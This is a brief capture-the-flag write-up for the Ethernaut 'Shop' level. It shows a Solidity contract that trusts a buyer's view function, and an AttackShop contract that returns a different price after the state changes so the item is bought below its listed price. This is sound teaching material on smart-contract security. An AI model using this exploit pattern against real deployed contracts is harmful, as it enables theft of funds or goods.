21 - Shop

view function

Ethernaut Level21: Shop

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }
}

Goal of this level

• make price cheaper than original price

Solution

contract AttackShop {
    Shop public shopContract;

    function attack(Shop _instance) public {
        shopContract = _instance;
        shopContract.buy();
    }

    function price() external view returns (uint256) {
        return !shopContract.isSold() ? shopContract.price() : shopContract.price() - 100;
    }
}

price returns 100 when isSold is false, and 0 when it's true.

Done! 😎

Key Takeways

• view keyword merely means the function does not change state

• this doesn't mean it always returns the same value

• it's unsafe to change the state based on external and untrusted contracts logic